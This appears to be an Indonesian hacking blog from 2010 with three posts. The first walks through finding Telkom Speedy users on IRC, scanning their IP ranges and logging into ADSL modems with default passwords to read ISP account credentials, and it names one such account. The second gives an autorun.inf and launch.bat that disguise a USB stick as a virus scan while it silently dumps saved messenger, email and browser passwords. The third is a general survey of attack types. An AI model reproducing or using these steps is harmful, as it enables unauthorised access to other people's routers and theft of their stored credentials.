Banner

Photobucket

Kamis, 22 Juli 2010

Cara Hacking Modem ADSL dan Account Speedy

Langkah Pertama

Buka aplikasi mIRC? pilih server Dalnet? dan koneksikan. Terus join di beberapa channel itu terserah kita, dalam hal ini gw mencari target di channel #balikpapan dan #samarinda. Sesudah anda join klik Dalnet Status, kemudian ketikkan perintah ?/who #nama channel? tanpa tanda petik. Maka akan timbul beberapa teks. Biasanya IP dari Telkom Speedy angka awalnya adalah 125.xxx.xxx.xxx, IP inilah yang akan menjadi target scanning. Lihat gambar dibawah ini.


Langkah Kedua

Buka aplikasi Advanced Port Scanner v1.0 Beta 1, kemudian cari sebuah IP contoh 125.160.33.41 ini merupakan sebuah IP TelkomSpeedy. Tetapi bukan IP itu yang akan kita scanning melainkan mengambil range IP dari 125.160.33.1-125.160.33.255, jadi angka yang diambil hanya 125.160.33. bukan 125.160.33.41 dan range yang dipake dari 1-255. Lihat hasil dari scanning tersebut.


Langkah Ketiga

Tes IP tersebut dengan menggunakan web browser, disini gw memakai Mozilla Firefox kemudian masukan IP tersebut. apabila timbul pop up login berarti modem ADSL tersebut bisa di remote dari luar. Selanjutnya berbekal kemampuan untuk menembus password dari modem sebaiknya anda mencari tutorial mengenai beberapa password default sebuah modem dengan merk-merk yang berbeda..


Gambar diatas merupakan login dari modem PROLINK type H9200.


Ini merupakan tampilan dari modem Prolink H920. Kemudian Pada kolom WAN Interfaces klik ppp-0 seperti yang terlihat pada gambar. Kemudian klik edit untuk melihat konfigurasi dari modem sekaligus untuk mencari account telkomspeedy.


Maka kita akan melihat tampilan seperti dibawah ini:


Untuk melihat password, cukup dengan klik kanan pada pop up diatas view page source. Kemudian cari kata passwd. Lihat hasil pada gambar berikut:

Dari hasil diatas dapat dicoba di situs TelkomSpeedy untuk menguji account yang telah gw dapat. Accountnya adalah 161101201848@telkom.net dan passnya tetap saya hidden kan demi menjaga privacy yang punya account.

HANCURKAN PASSWORD DENGAN FLASHDISK


Seperti yang kita tau, Windows selalu menyimpan password yang digunakan setiap hari yang di jalankan dari berbagai program termasuk password instant messenger, MSN, Yahoo, AOL, Windows messenger dan lain lain.

Ada tools yang bias merecovery (memulihkan) password dari file tempatnya di simpan dengan memanfaatkan USB flashdisk. kita dapat membuat rootkit kita sendiri untuk meng-hack password. berikut ini sejumlah tools untuk recovery password :

MessenPass : piranti recover password yang paling populer untuk Program Instant Messenger seperti: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger, Trillian, Miranda, dan Gaim.

Mail PassView : merecovery password dari program email seperti: Outlook Express, Microsoft Outlook 2000 (POP3 dan SMTP Account saja), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP dan SMTP Account), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird dan Group Mail Gratis lainnya.
IE Passview : adalah utilitas sederhana yang bisa merecovery password dari browser Internet Explorer. Versi ini didukung Internet Explorer 7.0, serta versi Internet explorer, v4.0 - v6.0.
Protected Storage PassView : merecovery semua password yang tersimpan dalam Protected Storage, termasuk AutoComplete password Internet Explorer, password dari situs yang dilindungi sandi, MSN Explorer Sandi, dan masih banyak lagi ...

PasswordFox : PasswordFox adalah utilitas pemulihan password sederhana yang memungkinkan kita melihat nama pengguna dan sandi yang disimpan oleh browser Mozilla Firefox. Secara default, PasswordFox menampilkan password yang disimpan dalam profil aktif kita, tetapi kita dapat dengan mudah memilih untuk melihat password Firefox di lain profil.

Ini adalah langkah demi langkah untuk menciptakan procedure password hacking toolkit dalam USB Drive (Flashdisk):

CATATAN: Kita harus menonaktifkan sementara antivirus kita sebelum mengikuti langkah-langkah ini.

1. Download dan ekstrak ke 5 tools di atas dan copy file executable (Exe file) saja ke Flashdisk yaitu: Salinlah file - mspass.exe, mailpv.exe, iepv.exe, pspv.exe dan passwordfox.exe ke dalam USB Drive.

2. Buat file Notepad baru dan dan ketik teks berikut ini :
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

3. Simpan Notepad and rename dari New Text Document.txt menjadi autorun.inf, terus copy file autorun.inf ke dalam USB drive.

4. Buat file Notepad baru lagi dan ketik teks berikut :
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

5. Simpan file Notepad dan ganti namanya dari New Text Document.txt jadi launch.bat, terus Salin file launch.bat USB drive Anda.

Sekarang rootkit kita sudah siap di gunakan untuk hack password. Namun, tools Hack ini akan bekerja pada Windows 2000, XP, Vista dan 7 serta akan memulihkan password jika ada password yang tersimpan dalam computer.

Cara menggunakan flashdisk hack tools sebagai berikut :

1. Masukkan flashdisk ke USB Port dan jendela pop-up autorun akan tampil. (Hal ini karena, kita sudah menciptakan sebuah autorun di flashdisk).

2. Pada jendela pop-up, pilih pilihan pertama (melakukan scan Virus).

3. Sekarang, semua hacking tools password berjalan secara diam-diam di belakang layar. Proses ini memakan waktu tidak terlalu lama. Password yang di temukan akan di recover untuk selanjutnya disimpan dalam sebuah file TXT.

4. Keluarkan flashdisk dan kita akan melihat password yang tersimpan dalam format TXT file.

Selasa, 06 Juli 2010

Tips-Tips menembus atau pun menyusup dan juga merusak suatu website



Tips-Tips menembus atau pun menyusup dan juga merusak suatu website adalah sebagai berikut.Teknik teknik itu antara lain:

1. IP Spoofing
2. FTP Attack
3. Unix Finger Exploits
4. Flooding & Broadcasting
5. Fragmented Packet Attacks
6. E-mail Exploits
7. DNS and BIND Vulnerabilities
8. Password Attacks
9.Proxy Server Attacks
10. Remote Command Processing Attacks
11. Remote File System Attack
12. Selective Program Insertions
13. Port Scanning
14.TCP/IP Sequence Stealing, Passive Port Listening and Packet
15. HTTPD Attacks


1. IP Spoofing

IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu pemalsuan alamat IP attacker sehingga sasaran menganggap alamat IP attacker adalah alamat IP dari host di dalam network bukan dari luar network. Misalkan attacker mempunyai IP address type A 66.25.xx.xx ketika attacker melakukan serangan jenis ini maka Network yang diserang akan menganggap IP attacker adalah bagian dari Networknya misal 192.xx.xx.xx yaitu IP type C.


IP Spoofing terjadi ketika seorang attacker ‘mengakali’ packet routing untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda. Packet untuk routing biasanya di transmisikan secara transparan dan jelas sehingga membuat attacker dengan mudah untuk memodifikasi asal data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh attacker tetapi juga dipakai oleh para security profesional untuk men tracing identitas dari para attacker.

2. FTP Attack

Salah satu serangan yang dilakukan terhadap File Transfer Protocol adalah serangan buffer overflow yang diakibatkan oleh malformed command. tujuan menyerang FTP server ini rata-rata adalah untuk mendapatkan command shell ataupun untuk melakukan Denial Of Service. Serangan Denial Of Service akhirnya dapat menyebabkan seorang user atau attacker untuk mengambil resource didalam network tanpa adanya autorisasi, sedangkan command shell dapat membuat seorang attacker mendapatkan akses ke sistem server dan file-file data yang akhirnya seorang attacker bisa membuat anonymous root-acces yang mempunyai hak penuh terhadap system bahkan network yang diserang.

Tidak pernah atau jarang mengupdate versi server dan mempatchnya adalah kesalahan yang sering dilakukan oleh seorang admin dan inilah yang membuat server FTP menjadi rawan untuk dimasuki. Sebagai contoh adalah FTP server yang populer di keluarga UNIX yaitu WU-FTPD yang selalu di upgrade dua kali dalam sehari untuk memperbaiki kondisi yang mengizinkan terjadinya bufferoverflow Mengexploitasi FTP juga berguna untuk mengetahui password yang terdapat dalam sistem, FTP Bounce attack (menggunakan server ftp orang lain untuk melakukan serangan), dan mengetahui atau mensniff informasi yang berada dalam sistem.

3. Unix Finger Exploits

Pada masa awal internet, Unix OS finger utility digunakan secara efficient untuk men sharing informasi diantara pengguna. Karena permintaan informasi terhadap informasi finger ini tidak menyalahkan peraturan, kebanyakan system Administrator meninggalkan utility ini (finger) dengan keamanan yang sangat minim, bahkan tanpa kemanan sama sekali. Bagi seorang attacker utility ini sangat berharga untuk melakukan informasi tentang footprinting, termasuk nama login dan informasi contact.

Utility ini juga menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada dalam sistem dan seberapa jauh user merawat sistem. Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha cracker dalam menembus sebuah sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk memanfaatkan user agar ‘memberitahu’ password dan kode akses terhadap system.

4. Flooding & Broadcasting

Seorang attacker bisa menguarangi kecepatan network dan host-host yang berada di dalamnya secara significant dengan cara terus melakukan request/permintaan terhadap suatu informasi dari sever yang bisa menangani serangan classic Denial Of Service(Dos), mengirim request ke satu port secara berlebihan dinamakan flooding, kadang hal ini juga disebut spraying. Ketika permintaan flood ini dikirim ke semua station yang berada dalam network serangan ini dinamakn broadcasting. Tujuan dari kedua serangan ini adalah sama yaitu membuat network resource yang menyediakan informasi menjadi lemah dan akhirnya menyerah.

Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or volume). Seorang attacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan.

5. Fragmented Packet Attacks

Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi lagi ke dalam paket-paket yang hanya mengandung paket pertama yang isinya berupa informasi bagian utama( kepala) dari TCP. Beberapa firewall akan mengizinkan untuk memroses bagian dari paket-paket yang tidak mengandung informasi alamat asal pada paket pertamanya, hal ini akan mengakibatkan beberapa type system menjadi crash. Contohnya, server NT akan menjadi crash jika paket-paket yang dipecah(fragmented packet) cukup untuk menulis ulang informasi paket pertama dari suatu protokol.

6. E-mail Exploits

Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail floods, manipulasi perintah (command manipulation), serangan tingkat transportasi(transport level attack), memasukkan berbagai macam kode (malicious code inserting) dan social engineering(memanfaatkan sosialisasi secara fisik). Penyerangan email bisa membuat system menjadi crash, membuka dan menulis ulang bahkan mengeksekusi file-file aplikasi atau juga membuat akses ke fungsi fungsi perintah (command function).

7. DNS and BIND Vulnerabilities

Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang aplikasi Barkeley Internet Name Domain (BIND) dalam berbagai versi mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis yang diarahkan pada operasi dasar dari Internet (basic internet operation).

8. Password Attacks

Password merupakan sesuatu yang umum jika kita bicara tentang kemanan. Kadang seorang user tidak perduli dengan nomor pin yang mereka miliki, seperti bertransaksi online di warnet, bahkan bertransaksi online dirumah pun sangat berbahaya jika tidak dilengkapi dengan software security seperti SSL dan PGP. Password adalah salah satu prosedur kemanan yang sangat sulit untuk diserang, seorang attacker mungkin saja mempunyai banyak tools (secara teknik maupun dalam kehidupan sosial) hanya untuk membuka sesuatu yang dilindungi oleh password.

Ketika seorang attacker berhasil mendapatkan password yang dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih karyawan/user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai hal ini dengan cara teknikal. Kebanyakan serangan yang dilakukan terhadap password adalah menebak (guessing), brute force, cracking dan sniffing.

9.Proxy Server Attacks

Salah satu fungsi Proxy server adalah untuk mempercepat waktu response dengan cara menyatukan proses dari beberapa host dalam suatu trusted network. Dalam kebanyakan kasus, tiap host mempunyai kekuasan untuk membaca dan menulis (read/write) yang berarti apa yang bisa saya lakukan dalam sistem saya akan bisa juga saya lakukan dalam system anda dan sebaliknya.

10. Remote Command Processing Attacks

Trusted Relationship antara dua atau lebih host menyediakan fasilitas pertukaran informasi dan resource sharing. Sama halnya dengan proxy server, trusted relationship memberikan kepada semua anggota network kekuasaan akses yang sama di satu dan lain system (dalam network).
Attacker akan menyerang server yang merupakan anggota dari trusted system. Sama seperti kerawanan pada proxy server, ketika akses diterima, seorang attacker akan mempunyai kemampuan mengeksekusi perintah dan mengkases data yang tersedia bagi user lainnya.

11. Remote File System Attack

Protocol-protokol untuk tranportasi data –tulang punggung dari internet— adalah tingkat TCP (TCPLevel) yang mempunyai kemampuan dengan mekanisme untuk baca/tulis (read/write) Antara network dan host. Attacker bisa dengan mudah mendapatkan jejak informasi dari mekanisme ini untuk mendapatkan akses ke direktori file.

12. Selective Program Insertions

Selective Program Insertions adalah serangan yang dilakukan ketika attacker menaruh program-program penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ?) pada system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan membuka backdoor.

13. Port Scanning

Melalui port scanning seorang attacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi. Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack.

14.TCP/IP Sequence Stealing, Passive Port Listening and Packet

Interception TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force, serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like.

15. HTTPD Attacks

Kerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam: buffer overflows, httpd bypasses, cross scripting, web code vulnerabilities, dan URL floods.

HTTPD Buffer Overflow bisa terjadi karena attacker menambahkan errors pada port yang digunakan untuk web traffic dengan cara memasukan banyak carackter dan string untuk menemukan tempat overflow yang sesuai. Ketika tempat untuk overflow ditemukan, seorang attacker akan memasukkan string yang akan menjadi perintah yang dapat dieksekusi. Bufer-overflow dapat memberikan attacker akses ke command prompt.

CARA dan TEKNIK Hacker Menembus (Attacking) Situs atau Webserver, 2010, http://www.colonel.web.id, Computer Networking Security